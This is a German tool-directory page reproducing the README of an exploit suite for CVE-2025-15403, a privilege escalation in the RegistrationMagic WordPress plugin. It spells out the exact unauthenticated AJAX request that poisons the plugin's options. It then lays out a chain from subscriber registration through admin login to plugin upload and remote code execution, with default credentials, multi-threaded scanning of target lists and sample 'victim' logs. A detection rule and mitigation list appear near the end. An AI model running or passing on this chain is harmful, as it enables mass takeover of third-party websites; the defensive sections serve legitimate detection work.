Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/nxploited/cve-2025-15403
Privilege EscalationSchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsRed TeamingPayload-Entwicklung
GitHubnxploited/cve-2025-15403

CVE-2025-15403

RegistrationMagic <= 6.0.7.1 - Nicht authentifizierte Privilegienausweitung über admin_order

Repository anzeigen
12vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-15403

RegistrationMagic <= 6.0.7.1 - Unberechtigte Privilegieneskalation via admin_order

root@kitploit:~
 ,-. .   , ,--.     ,-.   ,-.  ,-.  ;--'      , ;--'   ,.  ,-.  ,--, 
/    |  /  |           ) /  /\    ) |        '| |     / | /  /\   /  
|    | /   |-   ---   /  | / |   /  `-.  ---  | `-.  '--| | / |  `.  
\    |/    |         /   \/  /  /      )      |    )    | \/  /    ) 
 `-' '     `--'     '--'  `-'  '--' `-'       ' `-'     '  `-'  `-'  

Telegram CVE CVSS Python License


📡 Die Intel wird hier zuerst abgeworfen. Folge @KNxploited auf Telegram – präzise CVE-Offenlegungen, funktionierende Exploits und tiefgehende Schwachstellenforschung. Der Kanal für diejenigen, die nicht auf die Nachrichten warten – sie machen sie.


🧠 Übersicht

CVE-2025-15403 ist eine CVSS 9.8 Kritische Privilegieneskalations-Schwachstelle im RegistrationMagic-Plugin für WordPress.

Der Fehler liegt in der add_menu-Funktion des Plugins, die ohne Authentifizierung über die AJAX-Aktion rm_user_exists freigelegt wird. Durch das Injizieren eines leeren Slugs in den order-Parameter zusammen mit dem Flag enable_admin_order=yes manipuliert ein Angreifer die interne Menü-Erstellungslogik des Plugins. Wenn das Admin-Menü anschließend aufgebaut wird, ruft das Plugin stillschweigend add_cap('manage_options') für die Zielrolle auf – und hebt jedes Abonnentenkonto auf vollständige Administratorrechte.

FeldDetails
CVE-IDCVE-2025-15403
PluginRegistrationMagic
Slugregistrationmagic / custom-registration-form-builder-with-submission-manager
Betroffene VersionenAlle Versionen bis einschließlich 6.0.7.1
SchwachstellentypUnberechtigte Privilegieneskalation
AngriffsvoraussetzungAJAX-Phase: Keine. Ausnutzung: Abonnenten-Konto
AngriffsvektorNetzwerk
CVSS 3.1-Score9.8 KRITISCH
CVSS-VektorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CNAWordfence
AuswirkungVollständige WordPress-Administrator-Übernahme
ForscherNxploited

💀 Tiefergehende Schwachstellenanalyse

Die Ursache ist, dass die add_menu-Funktion ohne Authentifizierung über rm_user_exists erreichbar ist, kombiniert mit null Validierung des admin_order-Slugs:

root@kitploit:~
// Registriert ohne Capability-Check
add_action('wp_ajax_nopriv_rm_user_exists', [$this, 'rm_user_exists_handler']);

public function rm_user_exists_handler() {
    $slug     = sanitize_text_field($_POST['rm_slug']);
    $order    = $_POST['order'];   // ← Benutzergesteuert, NICHT bereinigt
    $role_key = /* aus POST abgeleitet */;
    $enable   = $_POST['enable_admin_order'];

    if ($slug === 'rm_options_admin_menu' && $enable === 'yes') {
        // Speichert angreifergesteuerte Reihenfolge in Plugin-Optionen
        update_option('rm_admin_order', $order);  // z.B. ",menu1" → leerer erster Slug
    }
}

// Später, wenn das Admin-Menü erstellt wird...
public function add_menu() {
    $order = get_option('rm_admin_order');  // ← Vom Angreifer vergiftet
    $slugs = explode(',', $order);

    foreach ($slugs as $slug) {
        if (empty($slug)) {
            // Leerer Slug löst bedingungslose Berechtigungsvergabe aus
            $role->add_cap('manage_options');  // ← VOLLSTÄNDIGE ADMIN-BERECHTIGUNG HINZUGEFÜGT
        }
    }
}

Warum dies kritisch ist:

  • wp_ajax_nopriv_* = keine Authentifizierung erforderlich, um die Option zu vergiften
  • Leerer Slug in order=,menu1 erfüllt die empty()-Bedingung und löst add_cap('manage_options') aus
  • manage_options ist die höchste WordPress-Berechtigung – entspricht Administrator
  • Jedes vorhandene Abonnentenkonto erhält sofort volle Admin-Rechte beim nächsten Laden des Admin-Menüs
  • Die AJAX-Phase erfordert keine vorherige Authentifizierung – die gesamte Kette hat nahezu keine Hürde

⚔️ Exploit-Kette

root@kitploit:~
╔══════════════════════════════════════════════════════════════════════════╗
║  STUFE 1 — Unauthentifizierte Optionen-Vergiftung                       ║
╚══════════════════════════════════════════════════════════════════════════╝

POST /wp-admin/admin-ajax.php

  action            = rm_user_exists
  rm_slug           = rm_options_admin_menu
  order             = ,menu1              ← leeres erstes Element = leerer Slug
  _Subscriber       = 1                  ← Zielrollen-Schlüssel
  restore           = false
  enable_admin_order= yes

Antwort: HTTP 200 (jede nicht blockierte Antwort = Option vergiftet)

  ↓ Plugin speichert order=",menu1" in wp_options
  ↓ Nächster Admin-Menü-Aufbau löst add_cap('manage_options') für die Abonnentenrolle aus

╔══════════════════════════════════════════════════════════════════════════╗
║  STUFE 2 — Kontoerwerb (Abonnent)                                       ║
╚══════════════════════════════════════════════════════════════════════════╝

Option A — Registrierung über das Registrierungsformular der Website (Modus 0):
  GET  /wp-login.php?action=register  → intelligente Formularerkennung
  POST → Abonnentenkonto erstellen
  Anmeldedaten: NXploited / xplpass123

Option B — Vorhandenes Abonnentenkonto verwenden.

╔══════════════════════════════════════════════════════════════════════════╗
║  STUFE 3 — Anmeldung + Berechtigungsernte                                ║
╚══════════════════════════════════════════════════════════════════════════╝

POST /wp-login.php
  log = NXploited
  pwd = xplpass123
  ↓
Abonnentenkonto besitzt nun manage_options → vollständiges Admin-Panel zugänglich

╔══════════════════════════════════════════════════════════════════════════╗
║  STUFE 4 — Tiefe Verifikation & RCE via Plugin-Upload                    ║
╚══════════════════════════════════════════════════════════════════════════╝

GET  /wp-admin/                          → Admin-Dashboard zugänglich ✔️
GET  /wp-admin/plugin-install.php        → Plugin-Installationsseite zugänglich ✔️
POST /wp-admin/update.php?action=upload-plugin
     pluginzip = Nxploited.zip           → Plugin hochgeladen und ausgeführt ✔️
GET  /wp-content/plugins/Nxploited/hello.php
     Antwort enthält "Nxploited"         → RCE BESTÄTIGT ✔️

🎯 Betriebsmodi

Dieses Exploit-Set bietet drei verschiedene Modi, die den gesamten Angriffslebenszyklus abdecken:

ModusNameBeschreibung
0Nur RegistrierungIntelligente WordPress-Formularerkennung + Abonnentenkontoregistrierung
1Nur ExploitFeuert die unauthentifizierte AJAX-Primitive zum Vergiften von admin_order
2Exploit + Anmeldung + VerifikationVollständige Kette: Primitive → Anmeldung → Admin-Dashboard → Plugin-Installation → RCE

⚙️ Anforderungen

root@kitploit:~
pip install requests colorama urllib3
AbhängigkeitZweck
requestsHTTP-Sitzungen, Cookie-Handling, Umleitungsverfolgung
coloramaPlattformübergreifende farbige Terminalausgabe
urllib3SSL-Warnungsunterdrückung für selbstsignierte Zertifikate
concurrent.futuresThread-Pool für Hochdurchsatz-Scanning mehrerer Ziele
zipfileIm-Speicher generiertes Test-Plugin-ZIP für RCE-Verifikation
html.parserIntelligente Registrierungsformularerkennung und Feldextraktion

Python 3.8+ erforderlich. Python 3.10+ empfohlen (verwendet X | Y Union-Type-Hinweise).


📂 Dateistruktur

root@kitploit:~
CVE-2025-15403/
├── CVE-2025-15403.py                 # Haupt-Exploit-Suite
├── list.txt                          # Ziel-URLs – eine pro Zeile
│
├── rm_register_results.txt           # Modus 0: erfolgreiche Registrierungen
├── rm_exploit_results.txt            # Modus 1 & 2: Primitive-Feuerprotokoll
├── rm_admin_verify.txt               # Modus 2: Anmelde- + Admin-Verifikationsprotokoll
├── rm_plugin_uploads.txt             # Modus 2: Plugin-Upload-Versuchsprotokoll
│
├── rm_admin_dashboard_success.txt    # ✔ Websites mit bestätigtem Admin-Dashboard
├── rm_plugin_install_access.txt      # ✔ Websites mit zugänglicher Plugin-Installationsseite
└── rm_plugin_rce_success.txt         # ✔ Websites mit bestätigtem RCE via Plugin-Upload

Die drei _success-Dateien am unteren Ende repräsentieren abgestufte Kompromittierungsstufen – jede wird unabhängig geschrieben, sobald ihre Bedingung bestätigt ist.


🚀 Verwendung

Schritt 1 — Ziele vorbereiten

Erstelle list.txt mit einer URL oder einem Hostnamen pro Zeile:

root@kitploit:~
https://target1.com
https://target2.com
http://target3.com/wordpress
target4.com

Bloße Hostnamen ohne Schema werden automatisch mit https:// versehen. WordPress-Installationen in Unterverzeichnissen (z.B. /wordpress) werden erkannt und automatisch behandelt.


Schritt 2 — Suite ausführen

root@kitploit:~
python CVE-2025-15403.py

Du wirst interaktiv nach allen Parametern gefragt. Beispielsitzung für Modus 2:

root@kitploit:~
Mode auswählen (0 = register, 1 = exploit, 2 = exploit+verify) [0]: 2
Datei mit Zielliste (ein Host/URL pro Zeile) [list.txt]: list.txt
Threads (gleichzeitige Websites) [5]: 20
HTTP-Timeout (Sekunden) [10]: 12
Rollen-Schlüssel zum Eskalieren (z.B. _Subscriber, _Editor) [_Subscriber]: _Subscriber
Benutzername für die Anmeldung (z.B. NXploited) [NXploited]: NXploited
Passwort für diesen Benutzer [xplpass123]: xplpass123
Ausgabedatei für Admin-Verifikation [rm_admin_verify.txt]: rm_admin_verify.txt
Ausgabedatei für Plugin-Upload-Tests [rm_plugin_uploads.txt]: rm_plugin_uploads.txt
Primitive vor der Anmeldung in Modus 2 senden? (ja/nein) [ja]: ja

Schritt 3 — Live-Ausgabe überwachen

root@kitploit:~
[14:31:01] info | Modus 2: Exploit + Login + Deep Verify | Ziele: 200
[14:31:02] SESSION | https://target.com | PRIM: OK   | REG: SKIP | LOGIN: OK   | ACCESS: admin_full_plugin_upload
[14:31:03] SESSION | https://target2.com | PRIM: OK   | REG: SKIP | LOGIN: FAIL | ACCESS: bad_credentials
[14:31:04] SESSION | https://target3.com | PRIM: FAIL | REG: SKIP | LOGIN: -    | ACCESS: NO HIT
FarbeTagBedeutung
🔵 CyaninfoInformation – Modusstart, Konfiguration
🟢 GrünokVollständiger Erfolg – Admin-Zugriff oder RCE bestätigt
🟡 GelbwarnTeilergebnis – Primitive OK, aber Anmeldung fehlgeschlagen usw.
🔴 RoterrSchwerer Fehler – Datei nicht gefunden, Ausnahme, blockiert

📊 Referenz der Ausgabedateien

rm_admin_dashboard_success.txt

Websites, bei denen das Abonnentenkonto nach der Privilegieneskalation erfolgreich auf /wp-admin/ zugegriffen hat:

root@kitploit:~
[2025-04-18 14:31:02] https://victim.com - NXploited:xplpass123 - ADMIN_DASHBOARD - verify_admin_dashboard

rm_plugin_install_access.txt

Websites, bei denen die Plugin-Installationsseite zugänglich war (bestätigt manage_options):

root@kitploit:~
[2025-04-18 14:31:02] https://victim.com - NXploited:xplpass123 - PLUGIN_INSTALL_ACCESS=https://victim.com/wp-admin/plugin-install.php?tab=upload - plugin-install-access

rm_plugin_rce_success.txt

Websites, bei denen ein Test-Plugin hochgeladen und ausgeführt wurde – RCE bestätigt:

root@kitploit:~
[2025-04-18 14:31:05] https://victim.com - NXploited:xplpass123 - PLUGIN_RCE=https://victim.com/wp-content/plugins/Nxploited/hello.php - AdminUpload

🖥️ Skript-Parameter-Referenz

ParameterStandardBeschreibung
Modus0Angriffsmodus: 0 = Registrieren, 1 = Exploit, 2 = Vollständige Kette
Ziele-Dateilist.txtDatei mit Ziel-URLs
Threads5 (kein hartes Max)Gleichzeitige ThreadPoolExecutor-Arbeiter
Timeout10 SekundenHTTP-Timeout pro Anfrage
Rollen-Schlüssel_SubscriberWordPress-Rolle zum Eskalieren (_Editor, _Author, usw.)
BenutzernameNXploitedKonto zum Registrieren / Anmelden
Passwortxplpass123Passwort für das Konto
Primitive sendenjaOb die AJAX-Stufe vor der Anmeldung in Modus 2 ausgelöst werden soll

🔬 Verifikationslogik (Modus 2)

Modus 2 führt eine dreistufige abgestufte Verifikation durch – jede Stufe ist unabhängig und schreibt ihre eigene Ergebnisdatei:

root@kitploit:~
Stufe 1 — Admin-Dashboard
  GET /wp-admin/
  GET /wp-admin/index.php
  GET /wp-admin/users.php
  Prüfen auf: "dashboard", "adminmenu", "manage_options", "plugins.php"
  ✔ → schreibt in rm_admin_dashboard_success.txt

Stufe 2 — Plugin-Installationsseitenzugriff
  GET /wp-admin/plugin-install.php
  GET /wp-admin/plugin-install.php?tab=upload
  Prüfen auf: "upload-plugin", "plugin-upload-form", "pluginzip"
  ✔ → schreibt in rm_plugin_install_access.txt

Stufe 3 — Tatsächlicher Plugin-Upload + Ausführung (RCE-Nachweis)
  _wpnonce aus der Plugin-Installationsseite extrahieren
  POST /wp-admin/update.php?action=upload-plugin
       pluginzip = Nxploited.zip (im Speicher generiert)
  GET  /wp-content/plugins/Nxploited/hello.php
  Antworttext auf "Nxploited" prüfen
  ✔ → schreibt in rm_plugin_rce_success.txt

Jede bestandene Stufe wird unabhängig aufgezeichnet – ein Ziel, das Stufe 1 aber nicht Stufe 3 besteht, wird dennoch in rm_admin_dashboard_success.txt erfasst.


🔍 Intelligente Registrierungs-Engine (Modus 0)

Modus 0 verwendet einen benutzerdefinierten HTML-Formularparser, um WordPress-Registrierungsformulare automatisch zu erkennen und abzusenden – einschließlich benutzerdefinierter RegistrationMagic-Formulare:

root@kitploit:~
Sondierungs-URLs (in Reihenfolge):
  /wp-login.php?action=register
  /register/
  /signup/
  /wp-signup.php
  /wp-login.php

Für jede Seite:
  → Alle <form>-Elemente parsen
  → Jedes Formular bewerten (0–200 Punkte):
      +100  Felder "user_login" + "user_email" vorhanden
      + 60  E-Mail- und benutzernamenähnliche Felder vorhanden
      + 30  rm_* präfixierte Eingabefelder (RegistrationMagic-spezifisch)
      + 20  Formular-ID/Klasse enthält "register" / "signup"
      + 10  Seitenbody erwähnt "register" / "sign up"
  → Formular mit höchster Punktzahl absenden (Schwellwert: 40+)
  → Erfolg über Antwortbody / Umleitungs-URL verifizieren

📊 Erkennungssignatur

Vom Exploit erzeugtes Netzwerkmuster – für Verteidiger und WAF/IDS-Autoren:

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=rm_user_exists&rm_slug=rm_options_admin_menu&order=%2Cmenu1&_Subscriber=1&restore=false&enable_admin_order=yes

WAF / IDS-Regel (Pseudocode):

root@kitploit:~
IF  request.method == POST
AND request.path   == "/wp-admin/admin-ajax.php"
AND request.body   CONTAINS "rm_user_exists"
AND request.body   CONTAINS "rm_options_admin_menu"
AND request.body   CONTAINS "enable_admin_order=yes"
THEN BLOCK + ALERT (Privilege Escalation Attempt — CVE-2025-15403)

Zusätzliche Erkennung – Optionenvergiftung:

root@kitploit:~
Überwache die Tabelle wp_options:
  IF option_name = "rm_admin_order"
  AND option_value BEGINNT MIT ","
  THEN ALERT — mögliche Ausnutzung von CVE-2025-15403

🛡️ Risikominderung & Behebung

Wenn Du ein Website-Betreiber, Entwickler oder Verteidiger bist, handle sofort:

  • ✅ Aktualisiere RegistrationMagic auf eine Version über 6.0.7.1
  • ✅ Deaktiviere und lösche das Plugin, bis eine bestätigte gepatchte Version verfügbar ist
  • ✅ Überprüfe die Tabelle wp_options – kontrolliere den Wert von rm_admin_order auf verdächtige Einträge (z.B. beginnend mit ,)
  • ✅ Überprüfe alle WordPress-Benutzer – entferne oder stufe nicht autorisierte Konten mit manage_options-Berechtigung herab
  • ✅ Füge Capability-Checks zu allen wp_ajax_nopriv_*-Handlern hinzu – lege Options-Schreibfunktionen niemals unauthentifiziert offen
  • ✅ Validiere und bereinige den Parameter order – lehne Werte mit leeren Slug-Segmenten ab
  • ✅ Blockiere unauthentifizierte POST-Anfragen an admin-ajax.php, die rm_options_admin_menu enthalten, auf WAF-Ebene
  • ✅ Überwache WordPress- und Server-Logs auf rm_user_exists-AJAX-Aktionsaufrufe von unauthentifizierten Quellen

⚠️ Haftungsausschluss

root@kitploit:~
DIESES TOOL WIRD AUSSCHLIESSLICH ZU BILDUNGSZWECKEN, AUTORISIERTEN
PENETRATIONSTESTS UND SICHERHEITSFORSCHUNG ZUR VERFÜGUNG GESTELLT.

Durch das Herunterladen, Ausführen oder Modifizieren dieses Skripts stimmst
Du ausdrücklich Folgendem zu:

  • Du besitzt die AUSDRÜCKLICHE, SCHRIFTLICHE AUTORISIERUNG des Eigentümers
    jedes von Dir getesteten Zielsystems. Keine Ausnahmen. Keine Annahmen.

  • Du arbeitest im Rahmen eines formell abgesteckten, autorisierten
    Penetrationstest-Engagements oder einer kontrollierten Laborumgebung,
    die Dir gehört.

  • Du wirst dieses Tool NICHT gegen ein System, Netzwerk oder eine
    Infrastruktur einsetzen, ohne dokumentierte rechtliche Erlaubnis.

  • Nxploited und alle Mitwirkenden übernehmen KEINERLEI Haftung für
    unbefugte Nutzung, Datenverlust, Systemschäden, rechtliche Verfahren
    oder strafrechtliche Verfolgung, die aus der Nutzung dieses Tools in
    irgendeiner Form entstehen.

Die unbefugte Nutzung dieses Exploits stellt eine Straftat dar gemäß:
  — Computer Fraud and Abuse Act (CFAA), USA
  — Computer Misuse Act (CMA), UK
  — EU-Richtlinie 2013/40/EU über Angriffe auf Informationssysteme
  — Saudi-Arabiens Anti-Cyber Crime Law (Nr. M/17)
  — Und aller gleichwertigen nationalen und internationalen Cyberkriminalitätsgesetze.

VERWENDE ES VERANTWORTUNGSBEWUSST. HACKE ETHISCH. MELDE SCHWACHSTELLEN VERANTWORTUNGSBEWUSST.

👤 Autor

HandleNxploited
Telegram@KNxploited
GitHubgithub.com/Nxploited

🔔 Folge @KNxploited auf Telegram Frische CVEs. Funktionierende Exploits. Kein Rauschen. Keine Verzögerung. Der Kanal, auf dem ernsthafte Forscher scharf bleiben.


Entwickelt mit Präzision von Nxploited · Nur für autorisierte Sicherheitsforschung · CVSS 9.8 Kritisch
Tool herunterladen